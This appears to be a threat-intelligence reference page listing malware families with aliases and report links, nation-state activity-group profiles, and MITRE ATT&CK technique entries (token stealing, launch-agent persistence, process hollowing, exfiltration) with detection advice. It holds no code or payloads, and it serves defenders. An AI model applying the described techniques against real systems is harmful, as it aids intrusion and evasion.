Pirrit
Pirrit is also known as:
Links |
http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf |
Conficker
Conficker is also known as:
-
traffic converter
-
downadup
Links |
http://contagiodump.blogspot.com/2009/05/win32conficker.html |
Acronym
Acronym is also known as:
Links |
https://www.arbornetworks.com/blog/asert/acronym-m-is-for-malware/ |
Credraptor
Credraptor is also known as:
Links |
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/ |
Dockster
Dockster is also known as:
Links |
http://contagiodump.blogspot.com/2012/12/osxdockstera-and-win32trojanagentaxmo.html |
Darktrack RAT
Darktrack RAT is also known as:
Links |
https://nioguard.blogspot.de/2017/05/targeted-attack-against-ukrainian.html |
Raxir
Raxir is also known as:
Links |
https://twitter.com/PhysicalDrive0/statuses/798825019316916224 |
Stabuniq
Stabuniq is also known as:
WMI Ghost
WMI Ghost is also known as:
-
Wimmie
-
Syndicasec
Links |
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets |
Carbanak
Carbanak is also known as:
-
Anunak
MM Core
MM Core is also known as:
Links |
https://blogs.forcepoint.com/security-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose |
YoungLotus
Simple malware with proxy/RDP and download capabilities. It often comes bundled with installers, in particular in the Chinese realm.
PE timestamps suggest that it came into existence in the second half of 2014.
Some versions perform checks of the status of the internet connection (InternetGetConnectedState: MODEM, LAN, PROXY), some versions perform simple AV process-checks (CreateToolhelp32Snapshot).
YoungLotus is also known as:
-
DarkShare
Links |
GhostAdmin
GhostAdmin is also known as:
-
Ghost iBot
Links |
https://www.cylance.com/en_us/blog/threat-spotlight-ghostadmin.html |
Gaudox
Gaudox is a http loader, written in C/C++. The author claims to have put much effort into making this bot efficient and stable. Its rootkit functionality hides it in Windows Explorer (32bit only).
Gaudox is also known as:
Links |
http://nettoolz.blogspot.ch/2016/03/gaudox-http-bot-1101-casm-ring3-rootkit.html |
NgrBot
NgrBot is also known as:
Links |
https://securingtomorrow.mcafee.com/mcafee-labs/ngrbot-spreads-via-chat/ |
http://stopmalvertising.com/rootkits/analysis-of-ngrbot.html |
CookieBag
CookieBag is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
Smominru
Smominru is also known as:
-
Ismo
Links |
http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/ |
Alphabet Ransomware
Alphabet Ransomware is also known as:
Links |
https://twitter.com/JaromirHorejsi/status/813714602466877440 |
Olyx
Olyx is also known as:
Links |
http://contagiodump.blogspot.com/2011/07/jul-25-mac-olyx-gh0st-backdoor-in-rar.html |
Koadic
Koadic is also known as:
Links |
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/ |
WMImplant
WMImplant is also known as:
Links |
https://www.fireeye.com/blog/threat-research/2017/03/wmimplant_a_wmi_ba.html |
HyperBro
HyperBro is also known as:
Links |
https://securelist.com/luckymouse-hits-national-data-center/86083/ |
Mole
Mole is also known as:
Links |
https://www.cert.pl/en/news/single/mole-ransomware-analysis-and-decryptor/ |
Gh0stnet
Gh0stnet is also known as:
-
Remosh
Links |
http://contagiodump.blogspot.com/2011/07/jul-25-mac-olyx-gh0st-backdoor-in-rar.html |
RedLeaves
RedLeaves is also known as:
Links |
http://blog.jpcert.or.jp/.s/2017/04/redleaves---malware-based-on-open-source-rat.html |
https://www.accenture.com/t20180423T055005Zw/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf[https://www.accenture.com/t20180423T055005Zw/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf] |
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf |
https://github.com/nccgroup/Cyber-Defence/tree/master/Technical%20Notes/Red%20Leaves |
Woolger
Woolger is also known as:
-
WoolenLogger
Links |
http://www.trendmicro.it/media/wp/operation-woolen-goldfish-whitepaper-en.pdf |
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf |
GoldenEye
GoldenEye is also known as:
-
Petya/Mischa
Links |
http://www.threatgeek.com/2017/02/spying-on-goldeneye-ransomware.html |
Dok
Dok is also known as:
-
Retefe
SynAck
SynAck is also known as:
Links |
https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/ |
XPCTRA
Incorporates code of Quasar RAT.
XPCTRA is also known as:
-
Expectra
Links |
https://www.buguroo.com/en/blog/bank-malware-in-brazil-xpctra-rat-analysis |
GetMail
GetMail is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
NewPosThings
NewPosThings is also known as:
BKA Trojaner
BKA Trojaner is a screenlocker ransomware that was active in 2011, displaying a police-themed message in German language.
BKA Trojaner is also known as:
-
bwin3_bka
Links |
BravoNC
BravoNC is also known as:
Links |
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group |
Neutrino POS
Neutrino POS is also known as:
-
Jimmy
Links |
https://securelist.com/neutrino-modification-for-pos-terminals/78839/ |
https://securelist.com/jimmy-nukebot-from-neutrino-with-love/81667/ |
Monero Miner
Monero Miner is also known as:
-
CoinMiner
Links |
https://www.welivesecurity.com/2017/09/28/monero-money-mining-malware/ |
Godzilla Loader
Godzilla Loader is also known as:
Links |
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4349&p=28427#p28346 |
Sakula RAT
Sakula / Sakurel is a trojan horse that opens a back door and downloads potentially malicious files onto the compromised computer.
Sakula RAT is also known as:
-
Sakurel
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022401-3212-99 |
https://github.com/nccgroup/Cyber-Defence/tree/master/Technical%20Notes/Sakula |
Bahamut
Bahamut is also known as:
Links |
https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/ |
Freenki Loader
Freenki Loader is also known as:
Links |
http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html |
Olympic Destroyer
Malware which seems to have no function other than to disrupt computer systems related to the 2018 Winter Olympic event.
Olympic Destroyer is also known as:
StegoLoader
StegoLoader is also known as:
Links |
https://www.secureworks.com/research/stegoloader-a-stealthy-information-stealer |
Rikamanu
Rikamanu is also known as:
Links |
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets |
Ghost RAT
Ghost RAT is also known as:
-
PCRat
-
Gh0st RAT
Pkybot
Pkybot is a trojan, which has its roots as a downloader dubbed Bublik in 2013 and was seen distributing GameoverZeus in 2014 (ref: fortinet). In the beginning of 2015, webinject capability was added according to /Kleissner/Kafeine/iSight using the infamous ATS.
Pkybot is also known as:
-
Pykbot
-
TBag
-
Bublik
Links |
https://blog.fortinet.com/2014/05/29/bublik-downloader-evolution |
Dimnie
Dimnie is also known as:
Links |
http://researchcenter.paloaltonetworks.com/2017/03/unit42-dimnie-hiding-plain-sight/ |
RatabankaPOS
RatabankaPOS is also known as:
Links |
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf |
Rex
Rex is also known as:
Links |
https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/ |
https://thisissecurity.net/2016/10/28/octopus-rex-evolution-of-a-multi-task-botnet/ |
BlackShades
BlackShades is also known as:
MyKings Spreader
MyKings Spreader is also known as:
Links |
http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/ |
Rapid Ransom
Rapid Ransom is also known as:
Links |
https://twitter.com/malwrhunterteam/status/997748495888076800 |
https://twitter.com/malwrhunterteam/status/977275481765613569 |
Mirai
Mirai is also known as:
WebC2-Ausov
WebC2-Ausov is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
WebC2-Cson
WebC2-Cson is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
Gazer
Gazer is also known as:
-
WhiteBear
Links |
https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/ |
r2r2
r2r2 is also known as:
Links |
https://www.guardicore.com/2018/06/operation-prowli-traffic-manipulation-cryptocurrency-mining/ |
Ztorg
Ztorg is also known as:
-
Qysly
Links |
http://blog.fortinet.com/2017/03/08/teardown-of-android-ztorg-part-2 |
https://blog.fortinet.com/2017/03/15/teardown-of-a-recent-variant-of-android-ztorg-part-1 |
Bashlite
Bashlite is also known as:
-
lizkebab
-
qbot
-
torlus
-
Gafgyt
-
gayfgt
Links |
https://honeynet.org/sites/default/files/Bots_Keep_Talking_To_Us.pdf |
https://krebsonsecurity.com/2016/09/krebsonsecurity-hit-with-record-ddos/ |
Delta(Alfa,Bravo, …)
Delta(Alfa,Bravo, …) is also known as:
Links |
https://www.arbornetworks.com/blog/asert/pivoting-off-hidden-cobra-indicators/ |
Biscuit
Biscuit is also known as:
-
zxdosml
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
Unidentified 024 (Ransomware)
Unidentified 024 (Ransomware) is also known as:
Links |
https://twitter.com/malwrhunterteam/status/789161704106127360 |
Venus Locker
Venus Locker is also known as:
Links |
https://twitter.com/JaromirHorejsi/status/813690129088937984 |
APT3 Keylogger
APT3 Keylogger is also known as:
Charger
Charger is also known as:
Links |
http://blog.joesecurity.org/2017/01/deep-analysis-of-android-ransom-charger.html |
Polyglot
Polyglot is also known as:
Links |
https://securelist.com/blog/research/76182/polyglot-the-fake-ctb-locker/ |
Ebury
Ebury is also known as:
RCS
RCS is also known as:
-
Remote Control System
-
Crisis
Links |
https://www.f-secure.com/documents/996508/1030745/callisto-group |
https://www.welivesecurity.com/2018/03/09/new-traces-hacking-team-wild/ |
Red Alert
Red Alert is also known as:
Links |
https://twitter.com/JaromirHorejsi/status/816237293073797121 |
Opachki
Opachki is also known as:
Corebot
Corebot is also known as:
Slempo
Slempo is also known as:
-
SlemBunk
Links |
https://www.fireeye.com/blog/threat-research/2015/12/slembunk_an_evolvin.html |
MobiRAT
MobiRAT is also known as:
Links |
https://blog.malwarebytes.com/threat-analysis/2017/07/malware-abusing-ffmpeg/ |
Hajime
Hajime is also known as:
DarkShell
DarkShell is a DDoS bot seemingly of Chinese origin, discovered in 2011. During 2011, DarkShell was reported to target the industrial food processing industry.
DarkShell is also known as:
Links |
KevDroid
KevDroid is also known as:
Dridex
OxCERT blog describes Dridex as "an evasive, information-stealing malware variant; its goal is to acquire as many credentials as possible and return them via an encrypted tunnel to a Command-and-Control (C&C) server. These C&C servers are numerous and scattered all over the Internet, if the malware cannot reach one server it will try another. For this reason, network-based measures such as blocking the C&C IPs is effective only in the short-term." According to MalwareBytes, "Dridex uses an older tactic of infection by attaching a Word document that utilizes macros to install malware. However, once new versions of Microsoft Office came out and users generally updated, such a threat subsided because it was no longer simple to infect a user with this method." IBM X-Force discovered "a new version of the Dridex banking Trojan that takes advantage of a code injection technique called AtomBombing to infect systems. AtomBombing is a technique for injecting malicious code into the 'atom tables' that almost all versions of Windows uses to store certain application data. It is a variation of typical code injection attacks that take advantage of input validation errors to insert and to execute malicious code in a legitimate process or application. Dridex v4 is the first malware that uses the AtomBombing process to try and infect systems."
Dridex is also known as:
NewsReels
NewsReels is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
Ramnit
Ramnit is also known as:
-
Nimnul
Gratem
Gratem is also known as:
Links |
https://blogs.forcepoint.com/security-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose |
Herbst
Herbst is also known as:
Links |
https://blog.fortinet.com/2016/06/03/cooking-up-autumn-herbst-ransomware |
TeleBot
TeleBot is also known as:
Links |
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/ |
XOR DDoS
Linux DDoS C&C Malware
XOR DDoS is also known as:
Links |
https://www.cdnetworks.com/resources/whitepapers/sg/Whitepaper23.pdf |
https://www.fireeye.com/blog/threat-research/2015/02/anatomy_of_a_brutef.html |
Coinminer
Coinminer is also known as:
Links |
https://blog.malwarebytes.com/threat-analysis/2018/01/a-coin-miner-with-a-heavens-gate/amp/ |
Kwampirs
Kwampirs is a family of malware which uses SMB to spread. It typically will not execute or deploy in environments in which there is no publicly available admin$ share. It is a fully featured backdoor which can download additional modules. Typical C2 traffic is over HTTP and includes "q=[ENCRYPTED DATA]" in the URI.
Kwampirs is also known as:
Links |
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia |
Tarsip
Tarsip is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
Lyposit
Lyposit is also known as:
-
Lucky Locker
-
Adneukine
-
Bomba Locker
Poison Ivy
Poison Ivy is also known as:
-
pivy
-
poisonivy
SAGE
SAGE is also known as:
-
Saga
OnlinerSpambot
A spambot that has been observed being used for spreading Ursninf, Zeus Panda, Andromeda or Netflix phishing against Italy and Canada.
OnlinerSpambot is also known as:
-
SBot
-
Onliner
Links |
https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html |
Shakti
Shakti is also known as:
TabMsgSQL
TabMsgSQL is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
Hermes
Hermes is also known as:
Links |
http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html |
CherryPicker POS
CherryPicker POS is also known as:
-
cherrypicker
-
cherrypickerpos
-
cherry_picker
Links |
ComodoSec
ComodoSec is also known as:
Links |
https://techhelplist.com/down/malware-ransom-comodosec-mrcr1.txt |
Wirenet
Wirenet is also known as:
Links |
http://contagiodump.blogspot.com/2012/12/aug-2012-backdoorwirenet-osx-and-linux.html |
Narilam
Narilam is also known as:
Links |
http://contagiodump.blogspot.com/2012/12/nov-2012-w32narilam-sample.html |
https://www.symantec.com/connect/blogs/w32narilam-business-database-sabotage |
Skygofree
Skygofree is also known as:
Links |
https://securelist.com/skygofree-following-in-the-footsteps-of-hackingteam/83603/ |
https://cdn.securelist.com/files/2018/01/Skygofree_appendix_eng.pdf |
MPKBot
MPKBot is also known as:
Links |
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf |
prb_backdoor
prb_backdoor is also known as:
Links |
https://sec0wn.blogspot.com/2018/05/prb-backdoor-fully-loaded-powershell.html |
Petya
Petya is also known as:
OnionDuke
OnionDuke is also known as:
Links |
http://contagiodump.blogspot.com/2014/11/onionduke-samples.html |
Rovnix
Rovnix is a bootkit and consists of a driver loader (in the VBR) and the drivers (32bit, 64bit) themselves. It is part of the Carberp source code leak (https://github.com/nyx0/Rovnix). Rovnix has been used to protect Gozi ISFB, ReactorBot and Rerdom (at least).
Rovnix is also known as:
-
BkLoader
-
Cidox
-
Mayachok
Microsoft Activity Group actor
Activity groups as described by Microsoft.
Microsoft Activity Group actor is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Various
PROMETHIUM
PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.
Links |
NEODYMIUM
NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor’s characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.
Links |
TERBIUM
Microsoft Threat Intelligence identified similarities between this recent attack and previous 2012 attacks against tens of thousands of computers belonging to organizations in the energy sector. Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM, following our internal practice of assigning rogue actors chemical element names.
Links |
STRONTIUM
STRONTIUM has been active since at least 2007. Whereas most modern untargeted malware is ultimately profit-oriented, STRONTIUM mainly seeks sensitive information. Its primary institutional targets have included government bodies, diplomatic institutions, and military forces and installations in NATO member states and certain Eastern European countries. Additional targets have included journalists, political advisors, and organizations associated with political activism in central Asia. STRONTIUM is an activity group that usually targets government agencies, diplomatic institutions, and military organizations, as well as affiliated private sector organizations such as defense contractors and public policy research institutes. Microsoft has attributed more 0-day exploits to STRONTIUM than any other tracked group in 2016. STRONTIUM frequently uses compromised e-mail accounts from one victim to send malicious e-mails to a second victim and will persistently pursue specific targets for months until they are successful in compromising the victims’ computer.
STRONTIUM is also known as:
-
APT 28
-
APT28
-
Pawn Storm
-
Fancy Bear
-
Sednit
-
TsarTeam
-
TG-4127
-
Group-4127
-
Sofacy
-
Grey-Cloud
Links |
https://blogs.technet.microsoft.com/mmpc/2016/11/01/our-commitment-to-our-customers-security/ |
DUBNIUM
DUBNIUM (which shares indicators with what Kaspersky researchers have called DarkHotel) is one of the activity groups that has been very active in recent years, and has many distinctive features.
DUBNIUM is also known as:
-
darkhotel
Links |
https://securelist.com/blog/research/71713/darkhotels-attacks-in-2015/ |
https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2 |
PLATINUM
PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group’s persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.
Links |
https://blogs.technet.microsoft.com/mmpc/2016/04/26/digging-deep-for-platinum/ |
BARIUM
Microsoft Threat Intelligence associates Winnti with multiple activity groups—collections of malware, supporting infrastructure, online personas, victimology, and other attack artifacts that the Microsoft intelligent security graph uses to categorize and attribute threat activity. Microsoft labels activity groups using code names derived from elements in the periodic table. In the case of this malware, the activity groups strongly associated with Winnti are BARIUM and LEAD. But even though they share the use of Winnti, the BARIUM and LEAD activity groups are involved in very different intrusion scenarios. BARIUM begins its attacks by cultivating relationships with potential victims—particularly those working in Business Development or Human Resources—on various social media platforms. Once BARIUM has established rapport, they spear-phish the victim using a variety of unsophisticated malware installation vectors, including malicious shortcut (.lnk) files with hidden payloads, compiled HTML help (.chm) files, or Microsoft Office documents containing macros or exploits. Initial intrusion stages feature the Win32/Barlaiy implant—notable for its use of social network profiles, collaborative document editing sites, and blogs for C&C. Later stages of the intrusions rely upon Winnti for persistent access. The majority of victims recorded to date have been in electronic gaming, multimedia, and Internet content industries, although occasional intrusions against technology companies have occurred.
Links |
LEAD
In contrast, LEAD has established a far greater reputation for industrial espionage. In the past few years, LEAD’s victims have included: Multinational, multi-industry companies involved in the manufacture of textiles, chemicals, and electronics Pharmaceutical companies A company in the chemical industry University faculty specializing in aeronautical engineering and research A company involved in the design and manufacture of motor vehicles A cybersecurity company focusing on protecting industrial control systems During these intrusions, LEAD’s objective was to steal sensitive data, including research materials, process documents, and project plans. LEAD also steals code-signing certificates to sign its malware in subsequent attacks. In most cases, LEAD’s attacks do not feature any advanced exploit techniques. The group also does not make special effort to cultivate victims prior to an attack. Instead, the group often simply emails a Winnti installer to potential victims, relying on basic social engineering tactics to convince recipients to run the attached malware. In some other cases, LEAD gains access to a target by brute-forcing remote access login credentials, performing SQL injection, or exploiting unpatched web servers, and then they copy the Winnti installer directly to compromised machines.
Links |
ZIRCONIUM
In addition to strengthening generic detection of EoP exploits, Microsoft security researchers are actively gathering threat intelligence and indicators attributable to ZIRCONIUM, the activity group using the CVE-2017-0005 exploit.
Links |
https://www.cfr.org/interactive/cyber-operations/mythic-leopard
This threat actor uses social engineering and spear phishing to target military and defense organizations in India, for the purpose of espionage.
https://www.cfr.org/interactive/cyber-operations/mythic-leopard is also known as:
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C-Major
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Transparent Tribe
Links |
https://www.cfr.org/interactive/cyber-operations/mythic-leopard |
Attack Pattern
ATT&CK tactic.
Attack Pattern is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
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MITRE
Exfiltration Over Alternative Protocol
Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.
Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: User interface, Process monitoring, Process use of network, Packet capture, Netflow/Enclave netflow, Network protocol analysis
Links |
Standard Application Layer Protocol
Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.
Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.[[Citation: University of Birmingham C2]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring
Links |
Launch Agent
Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code>[[Citation: AppleDocs Launch Agent Daemons]][[Citation: OSX Keydnap malware]][[Citation: Antiquated Mac Malware]]. These launch agents have property list files which point to the executables that will be launched[[Citation: OSX.Dok Malware]].
Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories [[Citation: Sofacy Komplex Trojan]] [[Citation: Methods of Mac Malware Persistence]]. The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in[[Citation: OSX Malware Detection]][[Citation: OceanLotus for OS X]]. They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).
Detection: Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.
Platforms: MacOS, OS X
Data Sources: File monitoring, Process Monitoring
Communication Through Removable Media
Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.
Detection: Monitor file access on removable media. Detect processes that execute when removable media is mounted.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: File monitoring, Data loss prevention
Links |
Access Token Manipulation
Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>. [[Citation: Microsoft runas]]
Adversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level.[[Citation: Pentestlab Token Manipulation]]
Adversaries can also create spoofed access tokens if they know the credentials of a user. Any standard user can use the <code>runas</code> command, and the Windows API functions, to do this; it does not require access to an administrator account.
Lastly, an adversary can use a spoofed token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.
Metasploit’s Meterpreter payload allows arbitrary token stealing and uses token stealing to escalate privileges. [[Citation: Metasploit access token]] The Cobalt Strike beacon payload allows arbitrary token stealing and can also create tokens. [[Citation: Cobalt Strike Access Token]]
Detection: If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.[[Citation: Microsoft Command-line Logging]]
If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.
There are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., <code>LogonUser</code>[[Citation: Microsoft LogonUser]], <code>DuplicateTokenEx</code>[[Citation: Microsoft DuplicateTokenEx]], and <code>ImpersonateLoggedOnUser</code>[[Citation: Microsoft ImpersonateLoggedOnUser]]). Please see the referenced Windows API pages for more information.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Effective Permissions: SYSTEM
Contributors: Tom Ueltschi @c_APT_ure
Custom Command and Control Protocol
Adversaries may communicate using a custom command and control protocol instead of using existing Standard Application Layer Protocol to encapsulate commands. Implementations could mimic well-known protocols.
Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring
Links |
File System Permissions Weakness
Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
===Services===
Manipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.
===Executable Installers===
Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors.[[Citation: Mozilla Firefox Installer DLL Hijack]][[Citation: Seclists Kanthak 7zip Installer]]
Detection: Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.
Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to or other adversary techniques.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: File monitoring, Services, Process command-line parameters
Effective Permissions: SYSTEM, User, Administrator
Contributors: Stefan Kanthak
Links |
https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/ |
Process Hollowing
Process hollowing occurs when a process is created in a suspended state and the process’s memory is replaced with the code of a second program so that the second program runs instead of the original program. Windows and process monitoring tools believe the original process is running, whereas the actual program running is different.DLL Injection to evade defenses and detection analysis of malicious process execution by launching adversary-controlled code under the context of a legitimate process.
Detection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior.
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Process monitoring, API monitoring
Links |
Scripting
